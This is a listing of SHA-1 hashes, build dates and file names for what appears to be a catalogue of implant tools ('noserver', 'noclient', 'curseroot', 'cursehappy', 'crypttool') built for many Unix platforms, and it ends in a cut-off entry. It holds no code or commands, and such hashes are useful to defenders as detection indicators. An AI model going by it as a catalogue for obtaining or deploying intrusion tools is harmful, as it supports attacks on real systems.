[PITCHIMPAIR.12] noserver-3.0.4.1-i386.unknown.freebsd-4.4 +81BE78CB312739FA3BCD8763EC4082BAB7A63DFA Thu Apr 19 17:17:14 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-i386.unknown.freebsd-4.5 +6808CF4BAA1127D4E347EA4275B131FD4171E583 Thu Apr 19 17:25:33 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-i386.unknown.freebsd-6.0 +B8EFD08AF7A66CC8D38B457A714CA096CBC68495 Thu Apr 19 17:27:32 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-i386.unknown.openbsd-3.4 +575F35479DDCC3CBA2CF1CFF5FAD56D9829F390C Thu Apr 19 17:27:57 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-i386.unknown.openbsd-3.7 +D329F552C4DF6A020EC1F5C4C22AB1D54DD3A950 Thu Apr 19 17:30:21 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-i586.pc.linux.gnu.redhat-5.0 +179975D30A51B3C78297B3F5925D9F230276A2A4 Thu Apr 19 17:35:38 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-i686.pc.linux.gnu.redflag-2.0 +35AC1425105179D33FD2B7E0207839617BE4EB0C Thu Apr 19 17:36:30 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-i686.pc.linux.gnu.redhat-ES +063CDA75A48DD85702C143A5C2D2383067061813 Thu Apr 19 17:32:06 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-i686.pc.linux.gnulibc1.slackware-4.0.0 +EAC91997E8DEEF5C30E1D98DD1553AF8F307C7C1 Thu Apr 19 17:34:20 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-i686.pc.linux.gnuoldld.redhat-6.0 +43449922E6BC7EBFAE83A419AA0B27280A1BD937 Thu Apr 19 17:37:12 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-mips.sgi.irix-5.3 +98E8B8CE0DEA55932B14E6F83B083AE511832F19 Thu Apr 19 17:38:47 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-powerpc.ibm.aix-4.3.3.0 +1F1BC94C493C211897DABC6802C69C1480E48D69 Thu Apr 19 17:39:32 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-sparc.sun.solaris-2.3 +67D1E40E2A5FE645BBEAEE0F24F4DD5A61C5BD46 Thu Apr 19 17:39:37 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-sparc.sun.solaris-2.4 +C42860C8D6426ABFDA19D9557B995BF6B54047B5 Thu Apr 19 17:39:42 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-sparc.sun.solaris-2.5 +B7AFD98C8B2DEF1B99C1035920342FF17D014BBE Thu Apr 19 17:39:55 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-sparc.sun.solaris-2.5.1 +0F993F91CCDF78778FA5A73D2F78E8A396E3286A Thu Apr 19 17:40:47 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-sparc.sun.solaris-2.7 +156AAE8819BA25C9F6CC2E436C7034D30E0DF648 Thu Apr 19 17:43:02 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-sparc.unknown.linux.gnu.redhat-6.2 +8D4EED0C666065AD5BFAA6F0055231DB8D997950 Fri Oct 16 18:37:41 2009 [PITCHIMPAIR.12] noserver-3.0.4.2-armv5b.linux +7CA22B6DDCDFE427B95EBEE1D168F93A5D44BEC0 Thu Jan 7 17:41:08 2010 [PITCHIMPAIR.12] noserver-3.0.4.3-mips.linux +E27DA9FB028889BE5DC7B83AF40D964081B26F54 Fri Jun 25 14:25:44 2010 [PITCHIMPAIR.12] noserver-3.0.4.4-i386.mac +0AE3B4B1BCCF1BC5E0BAD76AF0FC9AA011EB573D Thu Apr 19 17:19:35 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-i386.unknown.freebsd-4.3-static +3337B623774116C30C79795C293E6D11BEB1A3C5 Thu Apr 19 17:19:29 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-i386.unknown.freebsd-4.4-static +B0CE74303980B61DE036FFDFAB11268506A5DF9B Thu Apr 19 17:19:23 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-i386.unknown.freebsd-4.5-static +8868975739E892591FF1FCEF715EFF5D90A63B95 Thu Apr 19 17:26:02 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-i386.unknown.freebsd-6.0-static +17B78BF223B4639DA6813253FFEA0C09DE56A5E6 Thu Apr 19 17:27:42 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-i386.unknown.openbsd-3.4-static +8319E8F7279EF8A5AA646C064C87D5FE0B1213EA Thu Apr 19 17:28:05 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-i386.unknown.openbsd-3.7-static +43ED4E18E31F2DEF06AED1815F28F7EB4ABF46BD Thu Apr 19 17:31:05 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-i586.pc.linux.gnu.redhat-5.0-static +B99BF7A731731214546DEB9FCFC8755FDB8749F2 Thu Apr 19 17:43:10 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-sparc.unknown.linux.gnu.redhat-6.2-static +8D4EED0C666065AD5BFAA6F0055231DB8D997950 Fri Oct 16 18:37:41 2009 [PITCHIMPAIR.12] noserver-3.0.4.2-armv5b.linux-static +037EE5F3DF49078FAB09C785433E443078BE775F Mon Jun 6 06:23:34 2011 [PITCHIMPAIR.12] noserver-3.0.5.3-i386.unknown.freebsd-4.7-static +0274BD33C2785D4E497B6BA49F5485CAA52A0855 Mon Jun 6 06:23:34 2011 [PITCHIMPAIR.12] noserver-3.0.5.3-i686.pc.linux.gnu.redhat-5.0-static +8CFAB34EF79F1270FE7CDE2F529886E9E163E699 Tue Sep 20 16:28:45 2011 [PITCHIMPAIR.12] noserver-3.1.0.1-hppa2.0w.hp.hpux-11.00 +A00AA49C77C8359FED40B8E98288232A839BC1BA Tue Sep 20 16:28:45 2011 [PITCHIMPAIR.12] noserver-3.1.0.1-i386.apple.darwin-10.1 +CF03DCFAFB57D6605DB254BB54441C43FC9792F2 Tue Sep 20 16:28:45 2011 [PITCHIMPAIR.12] noserver-3.1.0.1-i386.pc.solaris-2.6 +AF5BD50867FD34C03530C5D477B5452DBC1F7381 Tue Sep 20 16:28:45 2011 [PITCHIMPAIR.12] noserver-3.1.0.1-i386.pc.solaris-2.8 +D907FC41207FD301E8F5ECDC93486A47A6723165 Tue Sep 20 16:28:45 2011 [PITCHIMPAIR.12] noserver-3.1.0.1-i386.unknown.freebsd-4.7 +755F74E02EAA6F819131C2255EC5821470BE64F3 Tue Sep 20 16:28:45 2011 [PITCHIMPAIR.12] noserver-3.1.0.1-i386.unknown.freebsd-4.7-static +C990F7F3D9A87417A21A9830355BC4DE94FC152D Tue Sep 20 16:28:46 2011 [PITCHIMPAIR.12] noserver-3.1.0.1-i386.unknown.freebsd-5.1 +64C7A9341DC0148513EE0E3B76EED95901492523 Tue Sep 20 16:28:46 2011 [PITCHIMPAIR.12] noserver-3.1.0.1-i386.unknown.freebsd-6.1 +F445E5330CADB62BDAF8C02FC66B5D0C4CC13987 Tue Sep 20 16:28:46 2011 [PITCHIMPAIR.12] noserver-3.1.0.1-i386.unknown.freebsd-7.0 +F2096011F136D1388D399C3BD665692FA79E3972 Tue Sep 20 16:28:46 2011 [PITCHIMPAIR.12] noserver-3.1.0.1-i686.pc.linux.gnu.redhat-5.0 +F6218CE079271ABC6B4FE6F5E7B99287E84A4467 Tue Sep 20 16:28:46 2011 [PITCHIMPAIR.12] noserver-3.1.0.1-i686.pc.linux.gnu.redhat-5.0-static +687C2379218A31B8EECE12EA4F4634515CA6CA9B Tue Sep 20 16:28:46 2011 [PITCHIMPAIR.12] noserver-3.1.0.1-i686.pc.linux.gnu.redhat-6.0 +C3D2D2705DB03434525727901CD177E64894BF50 Tue Sep 20 16:28:46 2011 [PITCHIMPAIR.12] noserver-3.1.0.1-i686.pc.linux.gnu.redhat-ES +8CA04580538CF0825DDC54FF15A02E4A53062AB2 Tue Sep 20 16:28:46 2011 [PITCHIMPAIR.12] noserver-3.1.0.1-powerpc.ibm.aix-5.1 +7E048D7923FDA1F84E96DF1182FBB87B4E4CA30E Tue Sep 20 16:28:46 2011 [PITCHIMPAIR.12] noserver-3.1.0.1-sparc.sun.solaris-2.6 +BABF40038F042B21EA0426311B9F12181F52DE49 Tue Sep 20 16:28:46 2011 [PITCHIMPAIR.12] noserver-3.1.0.1-sparc.sun.solaris-2.8 +F8CF2697ACDCF1EEEC9565102DBA94BE5D3C6568 Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] client/addkey.py +97F5303B45367A1687251B95FB57F76BCA584D4C Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] client/default_key.txt +07EB67E608450210DC7618B22D43A19AE51E598B Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] client/genkey.py +9149C57199D70046AD2C6C466540CA62CFA76363 Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] client/noclient-3.2.1.1-i686.pc.linux.gnu.redhat-ES +BBCA2EF9ACF9BF2FA2E11F44FD371708BA25201C Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] client/noprep.py +E3E74C64EBBAE93BE18F3CF0049A00AA9FD4E260 Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] client/Store +495E7391CE61F4720B89084652BB762DF7FB800A Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] server/noserver-3.2.1.1-hppa2.0w.hp.hpux-11.00 +FC430F2B3B4F3622574B084636A539F68DE312BB Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] server/noserver-3.2.1.1-i386.apple.darwin-10.4 +E380B1D90CD310182A5CFEA76528AC1D47E8C6DA Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] server/noserver-3.2.1.1-i386-junos-8.4-and-below +4F2B7B74FC5AA44BABA506BC8448815F8DCDD6C6 Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] server/noserver-3.2.1.1-i386-junos-8.5-and-above +F47F5BE9FAAAC37DB4601C256DF80E0BC48D11B1 Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] server/noserver-3.2.1.1-i386.pc.solaris-2.6 +FBCCC35451045A77B6FEBCF3FFDAEBBC33D2D633 Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] server/noserver-3.2.1.1-i386.pc.solaris-2.8 +38BE788CA4C54628102728A997089BA0D81A0B5D Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] server/noserver-3.2.1.1-i386.unknown.freebsd-4.7 +8859476032D2124D1E6C02304B185A7F56E9D050 Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] server/noserver-3.2.1.1-i386.unknown.freebsd-4.7-static +3BBF856ECF96671094D8E02F779577C05CEE74BA Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] server/noserver-3.2.1.1-i386.unknown.freebsd-5.0 +1D829859FE5997184EF2A3E473E1B7C44B5B5DEE Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] server/noserver-3.2.1.1-i386.unknown.freebsd-6.1 +40C95A082BEEC0D46B73FEF73DEF4758FCC7E4E5 Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] server/noserver-3.2.1.1-i386.unknown.freebsd-7.0 +9B1A6FF78882D8F84E44BC23B7216B85A472B1E6 Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] server/noserver-3.2.1.1-i686.pc.linux.gnu.redhat-6.0 +757353623C139700E8A9BCFA04CCCB6A97A8F4FF Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] server/noserver-3.2.1.1-i686.pc.linux.gnu.redhat-6.0-static +11F42348E6978AD1316ADB927DCB12F8CA21FCE1 Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] server/noserver-3.2.1.1-i686.pc.linux.gnu.redhat-6.0-static-noipv6 +798FB16BBDE0512A9D93F2FEEA2AFC685185321F Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] server/noserver-3.2.1.1-powerpc.ibm.aix-5.1 +AE8A30AFE15DA6F2E7ED48F222B0B10671E15D80 Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] server/noserver-3.2.1.1-ppc-junos +4A4B981DF5F0EAF8A94DB674F88CACBAC5ACECF0 Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] server/noserver-3.2.1.1-sparc.sun.solaris-2.7 +83B7105495A2309AA424C1ED5109C26218F23193 Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] server/noserver-3.2.1.1-sparc.sun.solaris-2.8 + +7C7B33EA0156D63708C10999C148E762BF5213F4 Mon Sep 24 16:06:06 2012 [PITCHIMPAIR.26] noclient-3.3.0.1-linux-i386 +EE5EF80B9A58C1A18AADD082EA02E53F0E1BE71F Mon Sep 24 16:06:06 2012 [PITCHIMPAIR.26] noserver-3.3.0.1-aix-ppc +7C9C3AEEC4B641E76E8FE196CCCA54E9DC7B5C09 Mon Sep 24 16:06:06 2012 [PITCHIMPAIR.26] noserver-3.3.0.1-darwin-10-i386 +E27D90F17D2F09DB00BC8E69844B6C1DA4104B2D Mon Sep 24 16:06:06 2012 [PITCHIMPAIR.26] noserver-3.3.0.1-darwin-11-i386 +A4A5EF41EECF5FD0FAFE8F1B6AAF8F5D1A1E6A14 Mon Sep 24 16:06:06 2012 [PITCHIMPAIR.26] noserver-3.3.0.1-darwin-9-i386 +6AD47B3B91B098D960DDB77BF669DEB8A635C62B Mon Sep 24 16:06:06 2012 [PITCHIMPAIR.26] noserver-3.3.0.1-freebsd-4.x-i386 +5CFB484B3965C4DA8D827A7D0E8401843C8314D7 Mon Sep 24 16:06:06 2012 [PITCHIMPAIR.26] noserver-3.3.0.1-freebsd-5.x-i386 +2CBC464D2A2BC1DC9A62C2ECB923AB0C8A40E5AD Mon Sep 24 16:06:06 2012 [PITCHIMPAIR.26] noserver-3.3.0.1-freebsd-6.x-i386 +BC349505F6379DC149EE93B999566C9857FA1F7D Mon Sep 24 16:06:06 2012 [PITCHIMPAIR.26] noserver-3.3.0.1-freebsd-7.x-i386 +CA25B95FB19922A6B12F19A91EBCB1309FD3BBE1 Mon Sep 24 16:06:06 2012 [PITCHIMPAIR.26] noserver-3.3.0.1-hpux-hppa2_0 +47FFC93A774A04F0ED28985AA976427E2E6887DD Mon Sep 24 16:06:06 2012 [PITCHIMPAIR.26] noserver-3.3.0.1-junos-8.4-and-below-i386 +1AE4EE37398497682D61DA55D1D1A5AD03080FB2 Mon Sep 24 16:06:06 2012 [PITCHIMPAIR.26] noserver-3.3.0.1-junos-8.5-and-above-i386 +9D405E2403482094032EC3C19A73122ADE99D432 Mon Sep 24 16:06:06 2012 [PITCHIMPAIR.26] noserver-3.3.0.1-junos-ppc +9F569DE062862B6504E74092F0CC967521B3F159 Mon Sep 24 16:06:06 2012 [PITCHIMPAIR.26] noserver-3.3.0.1-linux-i386 +BDC24172856D8B917726EA4FEC28E797CEE0B991 Mon Sep 24 16:06:06 2012 [PITCHIMPAIR.26] noserver-3.3.0.1-solaris-2.10-i386 +5D8F0ADEA7EC1B0ADF36BB38C798C0003DBE0E58 Mon Sep 24 16:06:06 2012 [PITCHIMPAIR.26] noserver-3.3.0.1-solaris-2.10-sparc +6700CB1383EE346EDB293F73D6349D50C171999A Mon Sep 24 16:06:06 2012 [PITCHIMPAIR.26] noserver-3.3.0.1-solaris-2.7-i386 +D0B9599D0E3824EE4F715DE5C3DD719E3C482C5E Mon Sep 24 16:06:06 2012 [PITCHIMPAIR.26] noserver-3.3.0.1-solaris-2.7-sparc +BDC24172856D8B917726EA4FEC28E797CEE0B991 Mon Sep 24 16:06:06 2012 [PITCHIMPAIR.26] noserver-3.3.0.1-solaris-2.8-i386 +5D8F0ADEA7EC1B0ADF36BB38C798C0003DBE0E58 Mon Sep 24 16:06:06 2012 [PITCHIMPAIR.26] noserver-3.3.0.1-solaris-2.8-sparc +BDC24172856D8B917726EA4FEC28E797CEE0B991 Mon Sep 24 16:06:06 2012 [PITCHIMPAIR.26] noserver-3.3.0.1-solaris-2.9-i386 +5D8F0ADEA7EC1B0ADF36BB38C798C0003DBE0E58 Mon Sep 24 16:06:06 2012 [PITCHIMPAIR.26] noserver-3.3.0.1-solaris-2.9-sparc +F8CF2697ACDCF1EEEC9565102DBA94BE5D3C6568 Mon Sep 24 16:06:06 2012 [PITCHIMPAIR.26] client/addkey.py +97F5303B45367A1687251B95FB57F76BCA584D4C Mon Sep 24 16:06:06 2012 [PITCHIMPAIR.26] client/default_key.txt +07EB67E608450210DC7618B22D43A19AE51E598B Mon Sep 24 16:06:06 2012 [PITCHIMPAIR.26] client/genkey.py +BBCA2EF9ACF9BF2FA2E11F44FD371708BA25201C Mon Sep 24 16:06:06 2012 [PITCHIMPAIR.26] client/noprep.py +0F232B3E98338D8A1AEB4BA45569B1C60AF367C2 Mon Sep 24 16:06:06 2012 [PITCHIMPAIR.26] client/Store +E3E74C64EBBAE93BE18F3CF0049A00AA9FD4E260 Mon Sep 24 16:06:06 2012 [PITCHIMPAIR.26] client/Store.old +931852EEBADA852DFBEB2D7230951AFAB8E58711 Mon Sep 24 16:06:06 2012 [PITCHIMPAIR.26] noserver-3.3.0.1-freebsd-4.7-i386-static +F3F7E146227E7B6362D8D26F2F635DA0641568E7 Mon Sep 24 16:06:06 2012 [PITCHIMPAIR.26] noserver-3.3.0.1-linux-i386-static + +092290E03075FA55B66874398E72EE3956F15F3B Fri May 18 14:49:21 2012 [PITCHIMPAIR.xx] charm_penguin.sunos5.8_v.2.0.1.4 +1B23226DA89FEEE4A9DEB631069D7449E4372A8A Wed Aug 13 18:07:17 2008 [PITCHIMPAIR.xx] crypttool.linux2.4.21-37.elsmp_v.1.5.0.8 +ED3FA710317E7D0BCDED864C7766E9D8530AE238 Thu May 17 14:24:31 2012 [PITCHIMPAIR.xx] crypttool.linux2.4.18-3_v.2.0.1.3 +30B0CBBFB4F6F9CBF40A0A18E08B4C71231D2B1D Thu May 17 14:24:31 2012 [PITCHIMPAIR.xx] crypttool.sunos5.8.sparc_v.2.0.1.3 +36821190B36342B1ED7C5FE185D3B4FD0F820B43 Thu May 17 14:24:31 2012 [PITCHIMPAIR.xx] crypttool.sunos5.8.i386_v.2.0.1.3 +5F5B1285967393B7A2485EBE3ADEF9D2047E4CA8 Thu May 17 14:24:31 2012 [PITCHIMPAIR.xx] crypttool.win2k_v.2.0.1.3 +F52340918751E515BBF9B4B111EAFE81E28874E0 Thu May 17 14:24:31 2012 [PITCHIMPAIR.xx] crypttool.hpuxb.11.00_v.2.0.1.3 +1A0B601B7A2B72606D4193E5A5E7D4A610C9CA7F Thu May 17 14:24:31 2012 [PITCHIMPAIR.xx] crypttool.aix5.1_v.2.0.1.3 +F30D68AB7C63548AE9736B8FC8A0F98EE9D6ABEE Fri Jan 7 15:44:31 2011 [PITCHIMPAIR.xx] crypttool.linux2.4.18-3_v.2.0.0.15 +0D4A01E9C4F0683078650DD94CCE24BAE65168C5 Tue Jun 5 13:17:37 2012 [PITCHIMPAIR.xx] curseclash.aix5.1.powerpc_v.1.0.1.1 +253E0E246633E603E58DAB97E1D4782FB7DDDA84 Fri Mar 23 11:44:31 2012 [PITCHIMPAIR.xx] curseroot.win2k.i686_v.2.2.0.7 +A41EE20E65397DCE5F288B748A52C6D6C4F9154A Tue Nov 8 16:45:11 2011 [PITCHIMPAIR.xx] cursehappy.win2k.i686_v.6.2.0.3 +AAB569E5B3643DBE07F981EFA6E1F2D68E25B723 Tue Nov 8 16:45:11 2011 [PITCHIMPAIR.xx] cursehappy.linuxrh7.3.unknown_v.6.2.0.3 +4214A7541803C3AC87C3C491487F11E96FC4B058 Tue Nov 8 16:45:11 2011 [PITCHIMPAIR.xx] cursehappy.hpux11.00.risc_v.6.2.0.3 +397DF64863C130F5BD3C8A1E179C86CD6B48F23F Tue Nov 8 16:45:11 2011 [PITCHIMPAIR.xx] cursehappy.sunos5.8.sparc_v.6.2.0.3 +FBF7334531AED88C938B61F394FFAAC0FB01D38E Tue Mar 6 12:17:33 2012 [PITCHIMPAIR.xx] cursehelper.win2k.i686_v.2.2.0.4 +733D6939BD35C01661017299D21DA157EF4FF210 Fri Feb 10 16:06:24 2012 [PITCHIMPAIR.xx] cursehelper.sunos5.8.sparc_v.2.2.0.4 +68DA058E84F85135CC93836394FE2AA761DAA712 Tue Mar 6 12:17:26 2012 [PITCHIMPAIR.xx] cursehelper.aix5.1.powerpc_v.2.2.0.4 +5346758117978E6DD9614D06E03F1139436D3BB3 Tue Mar 6 12:17:31 2012 [PITCHIMPAIR.xx] cursehelper.hpux11.00.risc_v.2.2.0.4 +B8009CA04040EBECE514073BD822DA91C3DB7A32 Wed May 16 14:27:09 2012 [PITCHIMPAIR.xx] cursekettle.hpux11.00.risc_v.1.1.0.2 +BFAF9F5CF11D26ED93A4BF6359D7AF02A298343C Fri Dec 2 15:24:24 2011 [PITCHIMPAIR.xx] cursekiln.sunos5.8_v.1.0.1.3 +F191378B2B009A1DAF0DBEB5F066AC1D981CF12E Fri Oct 14 15:40:54 2011 [PITCHIMPAIR.xx] cursemagic.aix5.1_v.2.1.0.3 +D1BBDA568B0EFBEEC395203C67659B154A1523FA Fri Oct 14 15:40:54 2011 [PITCHIMPAIR.xx] cursemagic.linuxrh7.3_v.2.1.0.3 +4E5418CB07531150AF21CFEF2E61CFBC7AA7841F Fri Oct 14 15:40:54 2011 [PITCHIMPAIR.xx] cursemagic.sunos5.8_v.2.1.0.3 +4DD9975EF41041B5EBB7436D0133E5D2E94AAF36 Fri Oct 14 15:40:54 2011 [PITCHIMPAIR.xx] cursemagic.hpux11.00_v.2.1.0.3 +BD253FF1DB61808424630608C610E4C7B8A6CC01 Mon Mar 19 12:23:43 2012 [PITCHIMPAIR.xx] curseroot.aix5.1.powerpc_v.2.2.0.7 +8D8996D5B82BC9AAA0310B982FD048FB77644107 Wed Mar 28 11:55:43 2012 [PITCHIMPAIR.xx] curseroot.linux2.6.5-7.97-smp.i686_v.2.2.0.7 +3D7B80D8003A10D08ECA4FFDD595F105FAB50FA3 Wed Mar 28 11:55:36 2012 [PITCHIMPAIR.xx] curseroot.hpux11.00.risc_v.2.2.0.7 +D114B8EC196B7DEFEEE751CE73932B6F952178BE Wed Mar 28 11:55:54 2012 [PITCHIMPAIR.xx] curseroot.sunos5.8.sparc_v.2.2.0.7 +4BA1C2E353A787A409556BB9EBD021690F992C52 Thu Aug 11 16:58:48 2011 [PITCHIMPAIR.xx] cursetingle_flx.win2k.i686_v.1.0.1.3 +EA087A035E3E01804E8E43C9DA8AB58C25A3038B Tue Mar 20 16:52:36 2012 [PITCHIMPAIR.xx] cursewham.linuxrh7.3.i686_v.1.1.0.1 +E6D8C35163092B1235B6356214610361B6FBB7DC Tue Feb 28 16:42:07 2012 [PITCHIMPAIR.xx] cursewham.win2k.i686_v.1.1.0.1 +427536C8C3BBC2B60217AD36F3BB7CE107810933 Thu Aug 11 12:54:32 2011 [PITCHIMPAIR.xx] cursewham.win2k.i686_v.1.0.0.3 +52FA122317861F7B506BD42435E6A96F48C69514 Fri Jan 27 21:19:04 2012 [PITCHIMPAIR.xx] cursezinger.sunos5.8_v.2.0.0.2 +CF097DD7F41B28BEF37872C3A365F06C745795F8 Wed Jan 2 21:33:13 2008 [PITCHIMPAIR.xx] cursehappy-hpux11.11_v.4.1.2.4_silenttongues.def +206FB9B0C4082713BF196ED46B9804ED396755F6 Wed Jan 2 21:33:13 2008 [PITCHIMPAIR.xx] cursehappy-hpux11.11_v.4.1.2.4_editionhaze.def +6CD24B209838FB24E1C315B562BC20DE84E2AECE Wed Jan 2 21:33:13 2008 [PITCHIMPAIR.xx] cursehappy-hpux11.11_v.4.1.2.4_sicklestar.def +94FB6A9E314411A8B7E218FE9D90024D7CD2F5BC Wed Jan 2 21:33:13 2008 [PITCHIMPAIR.xx] cursehappy-hpux11.11_v.4.1.2.4_liquidsteel.def +F90BF1760240DE17E5FC071F1C3063A05E1DD520 Wed Jan 2 21:33:13 2008 [PITCHIMPAIR.xx] cursehappy-hpux11.11_v.4.1.2.4_serenecosmos.def +142AED7F932D815AE0377A85A6DC2F26034C0E51 Wed Jan 2 21:33:13 2008 [PITCHIMPAIR.xx] cursehappy-hpux11.11_v.4.1.2.4_wholeblue.def +91789934742FEF4C0FE5D2052F9EC510BC628CDC Wed Jan 2 21:33:13 2008 [PITCHIMPAIR.xx] cursehappy-hpux11.11_v.4.1.2.4_diamondaxe.def +7B891F110A778F684231C33AF9EC7CF8F384FE2E Wed Jan 2 21:33:13 2008 [PITCHIMPAIR.xx] cursehappy-hpux11.11_v.4.1.2.4_coastalstorm.def +2B1F44DB220DC26A58007DA88B0683952B40D520 Wed Jan 2 21:33:13 2008 [PITCHIMPAIR.xx] cursehappy-hpux11.11_v.4.1.2.4_shakengiraffe.def +EF6BE9C97CC8B07B276FC0ABEFA4C0A396603462 Wed Jan 2 21:33:14 2008 [PITCHIMPAIR.xx] cursehappy-hpux11.11_v.4.1.2.4_darkaxe.def +0D7217C6F1F1A51D7D6FC0CA007256677C3190EF Mon Jul 23 14:22:18 2007 [PITCHIMPAIR.xx] cursehappy-solaris_v.4.1.0.6_solaris8_wholeblue.def +787291960EA1A4A25FCB7CEC211CD6877F3FF283 Mon Jul 23 14:20:06 2007 [PITCHIMPAIR.xx] cursehappy-solaris_v.4.1.0.6_solaris8_diamondaxe.def +BFD3DB20E680E1C86D96890A9DC28A23F77EE395 Mon Mar 1 16:59:39 2010 [PITCHIMPAIR.xx] cursehappy-solaris_v.6.0.0.1_liquidsteel.def +3C1DF27B3D8A916AFD5964FFF0CC7AC8BD23ED56 Mon Mar 1 16:59:39 2010 [PITCHIMPAIR.xx] cursehappy-solaris_v.6.0.0.1_wholeblue.def +251239DB5B366270CDFA102C946A770E93150CF1 Mon Mar 1 16:59:39 2010 [PITCHIMPAIR.xx] cursehappy-solaris_v.6.0.0.1_serenefire.def +A86D5F26ABC665BBA6B8C6B9FE43EE5B60902DC0 Mon Mar 1 16:59:39 2010 [PITCHIMPAIR.xx] cursehappy-solaris_v.6.0.0.1_shakengiraffe.def +F82A5048C70FBEDDC0A0D0DA744C95691E5A84DF Mon Mar 1 16:59:39 2010 [PITCHIMPAIR.xx] cursehappy-solaris_v.6.0.0.1_coastalvortex.def +7B9993F5452169007DB5AA7FEFE0DEB4D39B38C4 Mon Mar 1 16:59:39 2010 [PITCHIMPAIR.xx] cursehappy-solaris_v.6.0.0.1_sloshedgalah_a.def +576F21F463CD31FB7537159B21C000F3D02BCD08 Mon Mar 1 16:59:39 2010 [PITCHIMPAIR.xx] cursehappy-solaris_v.6.0.0.1_sloshedgalah.def +9DCD211BB1AC3B42F2D82593E765AED5291BF10F Mon Mar 1 16:59:39 2010 [PITCHIMPAIR.xx] cursehappy-solaris_v.6.0.0.1_editionhaze.def +F15C0D7475F24D57A0DDD64301D9722E4C6133DC Mon Mar 1 16:59:39 2010 [PITCHIMPAIR.xx] cursehappy-solaris_v.6.0.0.1_silenttongues.def +EC4067720EF67F87F1DA149F685A920035289DE2 Mon Mar 1 16:59:39 2010 [PITCHIMPAIR.xx] cursehappy-solaris_v.6.0.0.1_sicklestar.def +0BDF2D3899FE46B93786374EEBBCEC7A3F8A6187 Mon Mar 1 16:59:39 2010 [PITCHIMPAIR.xx] cursehappy-solaris_v.6.0.0.1_serenecosmos.def +6ECBD8F6AD69430F218D03FCED61AE9C28BAF87D Mon Mar 1 16:59:39 2010 [PITCHIMPAIR.xx] cursehappy-solaris_v.6.0.0.1_diamondaxe.def +2178F21F6EBD967DCDC53918043D8DAD4D35290B Mon Mar 1 16:59:39 2010 [PITCHIMPAIR.xx] cursehappy-solaris_v.6.0.0.1_coastalstorm.def +C699D32DAB56EA5EEC25D100C9CB3590CD58C709 Mon Mar 1 16:59:39 2010 [PITCHIMPAIR.xx] cursehappy-solaris_v.6.0.0.1_coastalburn.def +A6929A7C8A25F033A8261607347E5885E3C6803D Mon Mar 1 16:59:39 2010 [PITCHIMPAIR.xx] cursehappy-solaris_v.6.0.0.1_darkaxe.def +9CC3EBBDDAC5B2270878B6291CD3D90DE7E85649 Mon Mar 1 16:59:39 2010 [PITCHIMPAIR.xx] cursehappy-solaris_v.6.0.0.1_paperfish.def +23EE35962023D72BFB021E2E8937CC8B6095E635 Mon Mar 1 16:59:39 2010 [PITCHIMPAIR.xx] cursehappy-solaris_v.6.0.0.1_darkaxe_moc_mtc_only.def +A08866353BC5953B6346F07E0607E4B93504098D Mon Nov 27 20:45:10 2006 [PITCHIMPAIR.xx] cursehappy-solaris_v.4.0_editionhaze.def +258C7D06A42F22F0D2855DB2EE499C5B44BB412B Mon Nov 27 20:46:25 2006 [PITCHIMPAIR.xx] cursehappy-solaris_v.4.0_silenttongues.def +EEF893ED6057D23F410EF37B82F4F7B9478BBDC3 Mon Nov 27 20:46:17 2006 [PITCHIMPAIR.xx] cursehappy-solaris_v.4.0_sicklestar.def +63DE1E981DB1317838756EBCDDAC8483AAF93AFE Mon Nov 27 20:45:36 2006 [PITCHIMPAIR.xx] cursehappy-solaris_v.4.0_liquidsteel.def +42BE054AE4D7EBEB277254A95272B261F0361227 Mon Nov 27 20:45:57 2006 [PITCHIMPAIR.xx] cursehappy-solaris_v.4.0_serenecosmos.def +50D7874B6856A3E89C31CCFE8CBBD02E0FD5E345 Mon Nov 27 20:46:33 2006 [PITCHIMPAIR.xx] cursehappy-solaris_v.4.0_wholeblue.def +0222399D32F29B0539FCDA4FC2122953CED91F95 Mon Nov 27 20:46:09 2006 [PITCHIMPAIR.xx] cursehappy-solaris_v.4.0_shakengiraffe.def +1961403A389AA9653215546438571720835A4689 Thu Aug 19 19:54:51 2010 [PITCHIMPAIR.xx] 